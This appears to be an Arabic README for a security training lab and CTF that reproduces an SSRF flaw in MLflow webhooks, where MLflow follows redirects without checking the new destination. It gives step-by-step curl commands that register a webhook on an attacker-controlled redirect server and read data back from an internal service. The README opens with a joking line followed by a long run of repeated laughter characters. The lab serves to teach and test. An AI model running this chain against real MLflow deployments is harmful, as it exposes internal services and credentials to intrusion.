
هذا المختبر قد يكون جيدًا أو سيئًا، اسأل الذكاء الاصطناعي، أنا أختبره لكن يجب أن يعمل هههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههه
CVE-2026-64849 · MLflow < 3.15.0 · تزوير الطلبات من جانب الخادم (SSRF)
مختبر عملي لإعادة إنتاج CVE-2026-64849: ثغرة من نوع SSRF في MLflow ناتجة عن خلل TOCTOU (Time-of-Check / Time-of-Use) في معالجة webhooks. يتحقق MLflow من عنوان URL الأصلي للـ webhook ولكنه يتبع عمليات إعادة التوجيه HTTP (302) دون إعادة التحقق من الوجهة، مما يسمح لمهاجم غير مصادق بالوصول إلى خدمات داخلية لا ينبغي أن يكون قادرًا على الوصول إليها (internal-service:8888).
استخدام مقيد: مادة مختبرية، مخصصة فقط للشبكات والبيئات المصرح بها. راجع إخلاء المسؤولية القانونية.
| السمة | القيمة |
|---|---|
| الثغرة | CVE-2026-64849 — SSRF عبر تجاوز إعادة توجيه الـ Webhook |
| المكوّن المتأثر | MLflow Tracking Server (< 3.15.0) |
| إصدار المختبر | MLflow 3.13.0 (بدون تعديل، عبر pip install) |
| السبب الجذري | TOCTOU: يتحقق من عنوان URL، يتبع الـ 302 دون إعادة التحقق |
| ناقل الهجوم | HTTP؛ بدون مصادقة |
| الخطورة المعلنة | حرجة (CVSS 9.3) — وفقًا للافتة استغلال المختبر |
| النتيجة | الوصول إلى الخدمات الداخلية، سرقة بيانات الاعتماد، فحص المنافذ |
| المدة التقديرية | 15–20 دقيقة |
| المستوى | متوسط (أمن تطبيقات الويب / الأمن الهجومي) |
يسمح MLflow بتسجيل webhooks تُطلق طلبات HTTP عند وقوع أحداث (بيانات النماذج، التجارب، إلخ). قبل حفظ عنوان URL، يتم تطبيق تحقق (المخطط، عناوين IP الخاصة، بيانات IP الوصفية). يحدث الخلل للأسباب التالية:
3xx، تتبع مكتبة requests إعادة التوجيه تلقائيًا ولا يعيدون أبدًا التحقق من عنوان URL الوجهة.يتحكم المهاجم في القفزة الأولى (خادم يستجيب بـ 302 إلى خدمة داخلية) ويعمل MLflow كـ وسيط نحو الشبكة الداخلية.
راجع التحليل الفني الكامل في EXPLOITATION_GUIDE.md §6.
عند الانتهاء من المختبر، سيكون الطالب قادرًا على:
/test، واستخراج الخدمة الداخلية.الجمهور: طلاب ومحترفو الأمن الهجومي، ومختبرو الاختراق، ومراجعو أمن التطبيقات، والمطورون الذين يستخدمون MLflow.
متطلبات البرمجيات:
| الأداة | الإصدار الأدنى |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
لا تتطلب بيانات اعتماد أو مصادقة في MLflow (الهجوم غير مصادق). لا حاجة للوصول إلى الشبكة الداخلية: يوفرها المختبر.
host الشبكة الداخلية لـ Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ المهاجم (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, يستجيب بـ 302) │
│ http://localhost:5000 │ │ │ عنوان URL للـ webhook ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF، يتبع إعادة التوجيه) │
│ │ │ internal-service (8888) ← بدون منافذ مكشوفة │
│ │ │ "/admin/secret" للمضيف │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| المكوّن | المنفذ | الدور في المختبر | هل تم تعديله؟ |
|---|---|---|---|
mlflow-vulnerable | 5000 | الضحية / العميل الثغري (MLflow 3.13.0 الأصلي) | لا |
attacker-server | 8080 | خادم المهاجم: /webhook ← 302، /redirect?url=، /metadata، لوحة التحكم | do_HEAD فقط |
internal-service | 8888 | الضحية في lab_network؛ /admin/secret و/api/internal/config | لا |
تفاصيل السلامة: لم يتم تعديل الخدمة الثغرية والخدمة الداخلية. راجع EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # يشغّل الحاويات الثلاث وينتظر MLflow
bash run_lab.sh exploit # يستغل تلقائيًا (SSRF ← علم المستوى 1)
عرض توضيحي موجّه خطوة بخطوة (قائمة تفاعلية):
bash manual_exploitation_interactive.sh
🏁 وضع CTF (حل يدوي): المختبر عبارة عن تحدي بمستويات. كل علم يترك لك تلميح المستوى التالي، بحيث يكون الوصول إلى كل flag "منطقيًا". والفكرة هي القيام بذلك يدويًا: ctf_lab.sh لا يستغل نيابة عنك، بل يرشدك فقط ويتحقق من علمك:
bash ctf_lab.sh # القائمة التفاعلية لـ CTF
bash ctf_lab.sh nivel 1 # تعليمات + تلميح المستوى (أوامر لتنفيذها يدويًا بنفسك)
bash ctf_lab.sh flag '<flag>' # التحقق من العلم الذي استخرجته وفككت ترميزه (+نقاط)
bash ctf_lab.sh status # المستويات المكتملة + النقاط (235 نقطة، دون عرض الأعلام)
bash ctf_lab.sh hint 2 # تلميح لمستوى
bash ctf_lab.sh reset # مسح التقدم
مراجع سكربت run_lab.sh:
bash run_lab.sh start # start (افتراضي) + نقطة نهاية الحالة
bash run_lab.sh exploit # تنفيذ exploit.py داخل حاوية mlflow
bash run_lab.sh manual # عرض أوامر curl خطوة بخطوة
bash run_lab.sh logs # متابعة السجلات في الوقت الفعلي
bash run_lab.sh stop # إيقاف الحاويات
bash run_lab.sh clean # إيقاف وحذف بيانات المختبر
جميع استدعاءات
/testتتطلب الترويسةContent-Type: application/json؛ بدونها، يستجيب MLflow 3.13 بـ400 Bad Request.
# 1. إنشاء webhook يشير إلى خادم المهاجم (يعيد التوجيه إلى جذر البوابة الداخلية، المستوى 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. تشغيل /test ← يتحقق MLflow من عنوان URL، يتبع الـ 302 إلى الخدمة الداخلية
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. استخراج البيانات المسربة (متداخلة في result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
النتيجة المتوقعة من الخطوة 3 (المستوى 1 من CTF):
{
"service": "internal-admin-portal",
"banner": "البوابة الإدارية الداخلية — لا يمكن الوصول إليها إلا من الشبكة الداخلية",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "تعرض البوابة موارد تحت /admin/ و/api/. ابحث عن بيانات اعتماد المسؤول."
}
يسافر العلم مشفرًا (flag_enc) وتعطيك الاستجابة نفسها الأمر لفك ترميزه (flag_decoding). الهدف هو استخراجه عبر SSRF وفك ترميزه؛ ويقودك pista إلى المستوى 2. التفاصيل خطوة بخطوة، وتحليل الخلل، والمعالجة موجودة في EXPLOITATION_GUIDE.md.